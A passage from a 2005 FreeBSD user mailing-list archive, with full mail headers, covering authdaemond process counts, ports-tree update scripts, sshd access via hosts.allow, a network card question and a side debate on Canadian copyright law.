670-675. So it doesn't look like anything is different when it's run from the command line than from when it's run on boot. Still, is it normal for there to be 6 processes? On Sat, 5 Feb 2005 19:24:43 -0700, Pat Maddox wrote: > I installed courier-imap and got everything running fine...found out > that I need to enable authdaemond on startup. If I put > courier_authdaemond_enable="YES" > into /etc/rc.conf, then there are five or so authdaemond processes > running when it starts up. I don't think that should be happening, > and I've got no clue why it is. Any help? > > Pat > From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 02:36:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2657116A4CE for ; Sun, 6 Feb 2005 02:36:13 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.193]) by mx1.FreeBSD.org (Postfix) with ESMTP id 98C4143D46 for ; Sun, 6 Feb 2005 02:36:12 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so593943wri for ; Sat, 05 Feb 2005 18:36:09 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=X14fNZxXw9iF5TwvV1YXiL7opAJbjTxj/9E/3Jb89PLeSOL4+ZPPI1Ei9rjqZeRlAP29d/0MuinKgH5pE7e2p3dkJ2asejVCQWfBaARg8EAvMHNJ73k0wJncuu0CFxmGGiwdXFveeLt8xmd1qBzQiyfszLCh4G1quFNW6vNMi4s= Received: by 10.54.48.16 with SMTP id v16mr478064wrv; Sat, 05 Feb 2005 18:36:09 -0800 (PST) Received: by 10.54.42.28 with HTTP; Sat, 5 Feb 2005 18:36:09 -0800 (PST) Message-ID: <810a540e050205183632ce9eb1@mail.gmail.com> Date: Sat, 5 Feb 2005 19:36:09 -0700 From: Pat Maddox To: freebsd-questions@freebsd.org In-Reply-To: <810a540e05020518303bdafa34@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <810a540e05020518246009d327@mail.gmail.com> <810a540e05020518303bdafa34@mail.gmail.com> Subject: Re: Enabling authdaemond creates 5 processes X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 02:36:13 -0000 I was browsing through the authdaemond.rc file, and there's a section about the number of daemons. That was set to 5, so I guess there are supposed to be multiple authdaemond processes running. On Sat, 5 Feb 2005 19:30:30 -0700, Pat Maddox wrote: > I just started up authdaemond manually, and it has 6 processes going. > PIDs 670-675. So it doesn't look like anything is different when it's > run from the command line than from when it's run on boot. Still, is > it normal for there to be 6 processes? > > > On Sat, 5 Feb 2005 19:24:43 -0700, Pat Maddox wrote: > > I installed courier-imap and got everything running fine...found out > > that I need to enable authdaemond on startup. If I put > > courier_authdaemond_enable="YES" > > into /etc/rc.conf, then there are five or so authdaemond processes > > running when it starts up. I don't think that should be happening, > > and I've got no clue why it is. Any help? > > > > Pat > > > From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 02:39:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DD39E16A4CE for ; Sun, 6 Feb 2005 02:39:06 +0000 (GMT) Received: from alpargata.net (alpargata.net [67.18.172.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8233A43D39 for ; Sun, 6 Feb 2005 02:39:06 +0000 (GMT) (envelope-from nospam@illusionart.com) Received: from [192.168.1.100] (dsl081-061-217.dsl-isp.net [64.81.61.217] (may be forged)) (authenticated bits=0) by alpargata.net (8.13.1/8.13.1) with ESMTP id j1631ACp064319; Sat, 5 Feb 2005 21:01:16 -0600 (CST) (envelope-from nospam@illusionart.com) In-Reply-To: <44oeeye9ej.fsf@be-well.ilk.org> References: <1DF8995C-7694-11D9-8017-000D93C7878E@illusionart.com> <448y64mt43.fsf@be-well.ilk.org> <7FCCEF82-77D0-11D9-8017-000D93C7878E@illusionart.com> <44oeeye9ej.fsf@be-well.ilk.org> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <3454CEF0-77E8-11D9-8017-000D93C7878E@illusionart.com> Content-Transfer-Encoding: 7bit From: Vonleigh Simmons Date: Sat, 5 Feb 2005 18:38:37 -0800 To: Lowell Gilbert X-Mailer: Apple Mail (2.619) X-Virus-Scanned: ClamAV 0.80/624/Thu Dec 9 13:01:06 2004 clamav-milter version 0.80j on alpargata.net X-Virus-Status: Clean cc: freebsd-questions@freebsd.org Subject: Re: portsdb -uU fails X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 02:39:07 -0000 > Have you got a refuse file? Don't. No. > Are you doing the cvsup on the ports-all collection, > with a cvs tag of '.'? If not, do. Yes and yes. Vonleigh Simmons From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 02:56:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 196E716A4CE for ; Sun, 6 Feb 2005 02:56:29 +0000 (GMT) Received: from szamoca.krvarr.bc.ca (s142-179-111-232.bc.hsia.telus.net [142.179.111.232]) by mx1.FreeBSD.org (Postfix) with ESMTP id A172D43D45 for ; Sun, 6 Feb 2005 02:56:28 +0000 (GMT) (envelope-from sandy@krvarr.bc.ca) Received: from szamoca.krvarr.bc.ca (localhost [127.0.0.1]) by szamoca.krvarr.bc.ca (8.13.1/8.12.11) with ESMTP id j162uLY7028753 for ; Sat, 5 Feb 2005 18:56:21 -0800 (PST) (envelope-from sandy@szamoca.krvarr.bc.ca) Received: (from sandy@localhost) by szamoca.krvarr.bc.ca (8.13.1/8.12.11/Submit) id j162uLAg028750; Sat, 5 Feb 2005 18:56:21 -0800 (PST) (envelope-from sandy) From: Sandy Rutherford MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16901.34645.144852.476246@szamoca.krvarr.bc.ca> Date: Sat, 5 Feb 2005 18:56:21 -0800 To: freebsd-questions@freebsd.org In-Reply-To: <1258430214.20050206025603@wanadoo.fr> References: <4203F451.9070307@cis.strath.ac.uk> <200502050030.39812.m.hauber@mchsi.com> <452211071.20050205114332@wanadoo.fr> <16901.23792.668233.856876@szamoca.krvarr.bc.ca> <1258430214.20050206025603@wanadoo.fr> X-Mailer: VM 7.07 under Emacs 21.3.1 X-krvarr.bc.ca-MailScanner-Information: Please contact postmaster@krvarr.bc.ca for more information. X-krvarr.bc.ca-MailScanner: Not scanned: please contact postmaster@krvarr.bc.ca for details. X-krvarr.bc.ca-MailScanner-From: sandy@szamoca.krvarr.bc.ca Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 02:56:29 -0000 >>>>> On Sun, 6 Feb 2005 02:56:03 +0100, >>>>> Anthony Atkielski said: > Sandy Rutherford writes: SR> This is not so clear. In a March 2004 decision regarding P-to-P music SR> sharing, Justice von Finckenstein of the Federal Court of Canada ruled SR> that: SR> SR> The mere fact of placing a copy on a shared directory in a computer SR> where that copy can be accessed via a P2P service does not amount to SR> distribution. Before it constitutes distribution, there must be a SR> positive act by the owner of the shared directory, such as sending out SR> the copies or advertising that they are available for copying. > Or allowing a Web site to be indexed by a search engine. > I'll grant that a site that is public but not linked to or indexed by > anyone could be assimilated with a non-public venue. Hold on a second. Shared P-to-P directories certainly are indexed and Finckenstein knew this. In his view, having a reasonable expectation that a site would be indexed or linked to does _not_ constitute a positive act. SR> In his ruling, Finckenstein pointed out that there is a parallel with SR> public libraries. A public library does not infringe on copyright, SR> simply by having books available for loan. > That's not really a parallel. Libraries loan books and in so doing move > content from one place to another; they do not _copy_ content. > Infringement involves illegal reproduction in the vast majority of cases > (on rare occasions it can involve unlicensed use, such as in the case of > unlicensed performances of theatrical works). True, but it is not the person who puts the content on a website that is doing the copying. It is the person who downloads it. If I go into a library, borrow a book, and then copy it, it is I who have (possibly) infringed on copyright and not the library. I say possibly, because I am not even sure that this is a copyright violation in Canada. I believe that Canadian copyright is tied more to the act of distribution, than to the act of copying. If I own a CD, then it is legal for me to make as many copies as I wish, as long as I don't distribute them. SR> Interestingly enough, Finckenstein also ruled that the act of SR> downloading copyright material from a P-to-P server also does not SR> infringe copyright. As far as I know, unlimited P-to-P sharing of SR> copyright material is still fully legal in Canada. > I'm not sure that Finckenstein fully understood the issue, then. He certainly did understand the issue, at least as it relates to Canadian copyright law. (He is a justice of the Federal Court of Appeals, after all. He does know his law.) It is important to remember that copyright and patent rights are not "God-given rights". Like all jurisprudence, they are man-made for purely pragmatic reasons. It is in the best interests of society that creativity be fostered. Creativity is best fostered by protecting intellectual property rights, but not doing so in a manner which overly restricts the free-flow of ideas. A delicate balance must be struck. Looking for ways to adapt the current copyright and patent laws, which were largely devised at the time of the industrial revolution, to the computer age is basically an exercise in pounding a square peg through a round hole. Finckenstein recognized that these issues should not be decided in the courts, because they are primarily not legal issues. They are matters of social policy, which ultimately should be decided in Parliament. By taking such a restrictive view of how current copyright laws extend to electronic publication, Finckenstein was challenging Parliament to throw out the current laws and rethink the entire matter from scratch. In my view, this is a good approach. Sandy From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 03:03:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 57D4016A4CE for ; Sun, 6 Feb 2005 03:03:03 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.204]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4306043D31 for ; Sun, 6 Feb 2005 03:02:59 +0000 (GMT) (envelope-from dvanallen@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so572236wra for ; Sat, 05 Feb 2005 19:02:55 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=jS4VkPe0lV35mpebBUKaw5NaIIOpd0S0mCRKPstC+CQiyGJ3tBcerHEuN2lx1U36EL5iOfpjCoTF2SZqAYI1ZYdou4bNKPpMYctoA6v+cwuXYqTFe6SqnuSuqv2mjFuHzlWX+q0ogY7YArXjWZvjMgqB+gBW1ENBk2KhR7g7x4o= Received: by 10.54.50.40 with SMTP id x40mr161863wrx; Sat, 05 Feb 2005 19:02:55 -0800 (PST) Received: by 10.54.22.48 with HTTP; Sat, 5 Feb 2005 19:02:55 -0800 (PST) Message-ID: <2063a95c050205190222cc14ea@mail.gmail.com> Date: Sat, 5 Feb 2005 22:02:55 -0500 From: Doug Van Allen To: freebsd-questions@freebsd.org In-Reply-To: <2063a95c05020509493b35ee0d@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <2063a95c05020509493b35ee0d@mail.gmail.com> Subject: Re: Can't ssh to server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Doug Van Allen List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 03:03:03 -0000 I got it fixed. I forgot I kept ssh commented in inetd.conf until I wanted to use it. On Sat, 5 Feb 2005 12:49:29 -0500, Doug Van Allen wrote: > I'm running FreeBSD 5.3 and I'm trying to connect to it from school > using ssh. At school, I get connection refused. I checked the > auth.log and found: > > Feb 3 21:23:05 FreeBSD sshd[44237]: twist xxxxx.xxxx.edu to /bin/echo > "You are not welcome to use sshd from xxxxx.xxxx.edu." > > I ran tcpdmatch and got: > > $ tcpdmatch sshd bt20510.hvcc.edu > warning: sshd: no such process name in /etc/inetd.conf > client: hostname bt20510.hvcc.edu > client: address 151.103.21.131 > server: process sshd > matched: /etc/hosts.allow line 91 > option: severity auth.info > option: twist /bin/echo "You are not welcome to use sshd from > bt20510.hvcc.edu." > > I have made changes to hosts.allow to only allow my local network and > the ip's of the workstations from school. I am running PF and only > allowed the same rules. So what gives? > From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 03:11:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 061DF16A4CE for ; Sun, 6 Feb 2005 03:11:18 +0000 (GMT) Received: from mail.iinet.net.au (mail-08.iinet.net.au [203.59.3.40]) by mx1.FreeBSD.org (Postfix) with SMTP id F354C43D49 for ; Sun, 6 Feb 2005 03:11:16 +0000 (GMT) (envelope-from shinjii@virusinfo.rdksupportinc.com) Received: (qmail 18810 invoked from network); 6 Feb 2005 03:11:15 -0000 Received: from unknown (HELO warren.shinji.nq.nu) (203.206.228.43) by mail.iinet.net.au with SMTP; 6 Feb 2005 03:11:15 -0000 From: Warren To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 13:10:50 +1000 User-Agent: KMail/1.7.2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502061310.50886.shinjii@virusinfo.rdksupportinc.com> Subject: failure to keep added user accounts X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 03:11:18 -0000 Each time i add a user via the adduser command the process goes through aok and sais that it has saved the information when finished and yet when a users command is issued there is no other user ... why would this be happening ? -- Yours Sincerely Shinjii http://www.shinji.nq.nu From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 03:36:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 984E816A4CE for ; Sun, 6 Feb 2005 03:36:22 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201]) by mx1.FreeBSD.org (Postfix) with ESMTP id D128D43D3F for ; Sun, 6 Feb 2005 03:36:21 +0000 (GMT) (envelope-from j65nko@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so573668wra for ; Sat, 05 Feb 2005 19:36:21 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=gFI0GOQd8swcyPbj6g/+ADtHIgovVh+z7vA0pkv/tF8+C3f3Nyvqn486jV6bI/YimFwHfoSgO76XCPYQ2yJjj11EiVwJcF+WNnyEzE6FHSsewjQV2gurH1+d4g8RU8ImY9U51BjSx9yIls3OlbacwtgWWtsfJMJZzZT877ZY0gA= Received: by 10.54.32.67 with SMTP id f67mr52943wrf; Sat, 05 Feb 2005 19:36:20 -0800 (PST) Received: by 10.54.37.16 with HTTP; Sat, 5 Feb 2005 19:36:19 -0800 (PST) Message-ID: <19861fba05020519366aec830e@mail.gmail.com> Date: Sun, 6 Feb 2005 04:36:19 +0100 From: J65nko BSD To: FreeBSD Mailing list In-Reply-To: <4204489E.3000703@nlcc.us> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050202131936.59448.qmail@web51702.mail.yahoo.com> <4204489E.3000703@nlcc.us> Subject: Re: keeping freebsd uptodate - doubt X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: J65nko BSD List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 03:36:22 -0000 On Fri, 04 Feb 2005 22:16:30 -0600, Billy Newsom wrote: > saravanan ganapathy wrote: > > cvsup -g -L 2 /root/ports-supfile > > Once you get your cvsup stuff straightened out, try this script, which I run > every other day. Change the Log file if you want. This updates my sources > to stable and updates the ports tree. I use two different cvsup files and > commands so the two don't get confused. Don't try to use the same config > file and cvsup command for the two different types of updates!! (In my > experience, you're asking for trouble.) > > You will need to install a few ports first, but you should get the idea. If > you read the output every day (or you could email it to yourself, which I may > eventually do if I like it), you will see which ports need to be updated. > This script will probably contiune to get better as it gets added to. Like I > need to include the security audited version of ports that need updated! > > BEGIN CODE... mydaily.sh > #!/bin/sh > # > # Billy borrowed stuff on 12/18/2004 from: > #http://www.oreillynet.com/pub/wlg/6041?page=last&x-order=date > # > LOGF="/var/log/cvsup.log" > echo "START @ `/bin/date`" >>$LOGF > #/bin/date >>$LOGF > #use fastest_cvsup to find fastest geographically > #close mirror; I'll check Canada and the US > > if SERVER=`/usr/local/bin/fastest_cvsup -Q -c ca,us`; then > echo "Using STABLE Server:" $SERVER >>$LOGF > /usr/local/bin/cvsup -L1 -h $SERVER -l /var/log/cvs-lock-s > /root/stable-supfile >>$LOGF > echo "STABLE done @ `/bin/date`" >>$LOGF > else > echo "cvsup-STABLE has a fastest_cvsup problem on...`/bin/date`" >>$LOGF > fi > > if SERVER=`/usr/local/bin/fastest_cvsup -Q -c ca,us`; then > echo "Using PORTS Server:" $SERVER >>$LOGF > /usr/local/bin/cvsup -L0 -h $SERVER -l /var/log/cvs-lock-p > /root/ports-supfile >>$LOGF > echo "PORTS done @ `/bin/date`" >>$LOGF > else > echo "cvsup-PORTS has a fastest_cvsup problem on...`/bin/date`" >>$LOGF > fi > > #-U (which takes a long time to execute) isn't needed > #with the fetchindex command > cd /usr/ports > make fetchindex >>$LOGF > /usr/local/sbin/portsdb -u >>$LOGF > # command1 2>&1 | command2 > > # echo "Looking for security patches" > # freebsd-update fetch > # This program not working for me. unComment above line if it works for U. > > echo "The following ports need upgrading" >>$LOGF > /usr/local/sbin/portversion -l "<" >>$LOGF > echo "" >>$LOGF > echo "STOP at `/bin/date`." >>$LOGF > echo "********" >>$LOGF > > END CODE... mydaily.sh > > -- > Billy > _______________________________________________ You can use "exec" at the top of your script to redirect all output to a file. This way don't need to add ">>$LOG" at the end of each line. -------------------- #!/bin/sh LOGF="/var/log/cvsup.log" # --- redirect all script output to logfile exec >>${LOGF} 2>&1 ------------------------ =Adriaan= From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 03:43:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 48D0E16A4CE for ; Sun, 6 Feb 2005 03:43:46 +0000 (GMT) Received: from grover.logicsquad.net (ppp140-249.lns1.adl2.internode.on.net [150.101.140.249]) by mx1.FreeBSD.org (Postfix) with SMTP id E3C7543D2D for ; Sun, 6 Feb 2005 03:43:44 +0000 (GMT) (envelope-from paulh@logicsquad.net) Received: (qmail 62067 invoked by uid 1000); 6 Feb 2005 03:43:43 -0000 Date: Sun, 6 Feb 2005 14:13:43 +1030 From: "Paul A. Hoadley" To: freebsd-questions@freebsd.org Message-ID: <20050206034343.GA44468@grover.logicsquad.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="tThc/1wpZn/ma/RB" Content-Disposition: inline User-Agent: Mutt/1.4.2.1i Subject: Onboard GigE on ASUS P5GD2 Deluxe X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 03:43:46 -0000 --tThc/1wpZn/ma/RB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hello, My ASUS P5GD2 Deluxe has an onboard GigE NIC: Marvell 88E8053 PCI Express Gigabit LAN controller I have installed 5.3-RELEASE from an installation CD, and the supplied GENERIC kernel does not seem to detect it. Shouldn't the sk driver handle this NIC? Does anyone else have this motherboard? (I am starting to regret the purchase, as I am still struggling with the Silicon Image SATA RAID controller.) --=20 Paul. w http://logicsquad.net/ h http://paul.hoadley.name/ --tThc/1wpZn/ma/RB Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (FreeBSD) iD8DBQFCBZJv730Z/jysbzIRAoWYAJwNFuRNQoerCJoIGMtB3BzAvNH2gQCdHvRE 6wJcYaETq2gnnaOIgm7lgGo= =kXGe -----END PGP SIGNATURE----- --tThc/1wpZn/ma/RB-- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 03:46:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 78EF116A4CE for ; Sun, 6 Feb 2005 03:46:05 +0000 (GMT) Received: from imf18aec.mail.bellsouth.net (imf18aec.mail.bellsouth.net [205.152.59.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id BF4A943D39 for ; Sun, 6 Feb 2005 03:46:04 +0000 (GMT) (envelope-from ken_jennings@bellsouth.net) Received: from wolverine.481sumter.33325.net ([65.3.196.127]) by imf18aec.mail.bellsouth.netESMTP <20050206034604.FDQN2060.imf18aec.mail.bellsouth.net@wolverine.481sumter.33325.net> for ; Sat, 5 Feb 2005 22:46:04 -0500 From: Kenneth Jennings To: freebsd-questions@freebsd.org Date: Sat, 5 Feb 2005 22:46:56 -0500 User-Agent: KMail/1.6.2 References: <200502051745.25937.hindrich@worldchat.com> <15210109162.20050206001338@wanadoo.fr> In-Reply-To: <15210109162.20050206001338@wanadoo.fr> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502052246.57343.ken_jennings@bellsouth.net> Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 03:46:05 -0000 On Saturday 05 February 2005 18:13, Anthony Atkielski wrote: > Peterhin writes: [snip] > - Moving parts are not subjected to thermal and mechanical stresses of > starting and stopping. For example, disk drives and fans are under less > stress during continuous running than they are at the moment when they > start and stop. Failures are more likely to occur when a mechanical > part is started up than during continuous operation. Ah. I bet there are more than a few people here who can repeat a horror story about what happened when a long running server was shut down. I remember several years ago we had a HP server at work that had been running nonstop for about three years. One day, due to a major electrical upgrade in the computer room, the sysadmin had to cold start it. Three hard drives would not come back up. Everyone except the sysadmins had a four-day weekend. Since then they've switched to using multiple, redundant hot-swappable hardware. I have a file server in the house that runs continuously. It sits on an UPS. Everything else is shut down at night. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 04:03:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 80DF316A4CF for ; Sun, 6 Feb 2005 04:03:39 +0000 (GMT) Received: from sccrmhc13.comcast.net (sccrmhc13.comcast.net [204.127.202.64]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0F74143D2F for ; Sun, 6 Feb 2005 04:03:39 +0000 (GMT) (envelope-from nathan_p_maier@comcast.net) Received: from 204.127.205.142 ([204.127.205.142]) by comcast.net (sccrmhc13) with SMTP id <20050206040338016004imite>; Sun, 6 Feb 2005 04:03:38 +0000 Received: from [24.15.72.99] by 204.127.205.142; Sun, 06 Feb 2005 04:03:38 +0000 From: nathan_p_maier@comcast.net To: freebsd-questions@freebsd.org Date: Sun, 06 Feb 2005 04:03:38 +0000 Message-Id: <020620050403.20725.4205971A0000F1DE000050F522007481849D0A070E03A19FA1020E089B0E02@comcast.net> X-Mailer: AT&T Message Center Version 1 (Dec 17 2004) X-Authenticated-Sender: bmF0aGFuX3BfbWFpZXJAY29tY2FzdC5uZXQ= Subject: Trying to get glib updated to run AbiWord-2.0 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 04:03:40 -0000 One of the major tasks of my computer is writing everything about what I do on a word processor. I need AbiWOrd to work, I have tried upgrading the dependencies with portupgrade but I can't get glib to update. Here's the message from portupgrade. I've tried pkg_add -f XXXX and that doesn't work. I stil get all the so,200s instead of so.400s. Thanks, Nathan "AbiWord-2.0" dhcppc2# portupgrade glib [Updating the pkgdb in /var/db/pkg ... - 228 packages found (-0 +2) .. done] Updating the ports index ... make: don't know how to make index. Stop failed to generate INDEX! index generation error /usr/local/lib/ruby/site_ruby/1.8/portsdb.rb:482:in `open_db': database file error (PortsDB::DBError) from /usr/local/lib/ruby/site_ruby/1.8/portsdb.rb:634:in `port' from /usr/local/lib/ruby/site_ruby/1.8/portsdb.rb:822:in `all_depends_list' from /usr/local/lib/ruby/site_ruby/1.8/pkgdb.rb:915:in `tsort_build' from /usr/local/lib/ruby/site_ruby/1.8/pkgdb.rb:907:in `each' from /usr/local/lib/ruby/site_ruby/1.8/pkgdb.rb:907:in `tsort_build' from /usr/local/lib/ruby/site_ruby/1.8/pkgdb.rb:929:in `sort_build' from /usr/local/lib/ruby/site_ruby/1.8/pkgdb.rb:933:in `sort_build!' from /usr/local/sbin/portupgrade:674:in `main' from /usr/local/sbin/portupgrade:207:in `initialize' from /usr/local/sbin/portupgrade:207:in `new' from /usr/local/sbin/portupgrade:207:in `main' from /usr/local/sbin/portupgrade:1845 From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 04:54:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8028216A4CE for ; Sun, 6 Feb 2005 04:54:25 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.205]) by mx1.FreeBSD.org (Postfix) with ESMTP id BC40943D39 for ; Sun, 6 Feb 2005 04:54:23 +0000 (GMT) (envelope-from juhasaarinen@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so600202wri for ; Sat, 05 Feb 2005 20:54:20 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=lBkF+zu2LK8mQrGOUVjXBnEoK0MO07nin5UKbotrceiM4AXTbJTJ36SQtWJN1qoFTvzZeTNa+pa+aOwLi9H87P1AyWH/AWQptYQ59dOwP7+85Pzkr9MTd4srLl8zACFQROeRs11lNUaAZmCooUoLP7dLnYPXfCn4KslgmaJiTAI= Received: by 10.54.57.30 with SMTP id f30mr125589wra; Sat, 05 Feb 2005 20:54:20 -0800 (PST) Received: by 10.54.4.57 with HTTP; Sat, 5 Feb 2005 20:54:20 -0800 (PST) Message-ID: Date: Sun, 6 Feb 2005 17:54:20 +1300 From: Juha Saarinen To: Pat Maddox In-Reply-To: <810a540e050205183632ce9eb1@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <810a540e05020518246009d327@mail.gmail.com> <810a540e05020518303bdafa34@mail.gmail.com> <810a540e050205183632ce9eb1@mail.gmail.com> cc: freebsd-questions@freebsd.org Subject: Re: Enabling authdaemond creates 5 processes X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Juha Saarinen List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 04:54:25 -0000 On Sat, 5 Feb 2005 19:36:09 -0700, Pat Maddox wrote: > I was browsing through the authdaemond.rc file, and there's a section > about the number of daemons. That was set to 5, so I guess there are > supposed to be multiple authdaemond processes running. > > > On Sat, 5 Feb 2005 19:30:30 -0700, Pat Maddox wrote: > > I just started up authdaemond manually, and it has 6 processes going. > > PIDs 670-675. So it doesn't look like anything is different when it's > > run from the command line than from when it's run on boot. Still, is > > it normal for there to be 6 processes? > > > > > > On Sat, 5 Feb 2005 19:24:43 -0700, Pat Maddox wrote: > > > I installed courier-imap and got everything running fine...found out > > > that I need to enable authdaemond on startup. If I put > > > courier_authdaemond_enable="YES" > > > into /etc/rc.conf, then there are five or so authdaemond processes > > > running when it starts up. I don't think that should be happening, > > > and I've got no clue why it is. Any help? Courier-IMAP mailing list => thataway. -- Juha From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 05:00:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A9ECE16A4CE for ; Sun, 6 Feb 2005 05:00:46 +0000 (GMT) Received: from web53408.mail.yahoo.com (web53408.mail.yahoo.com 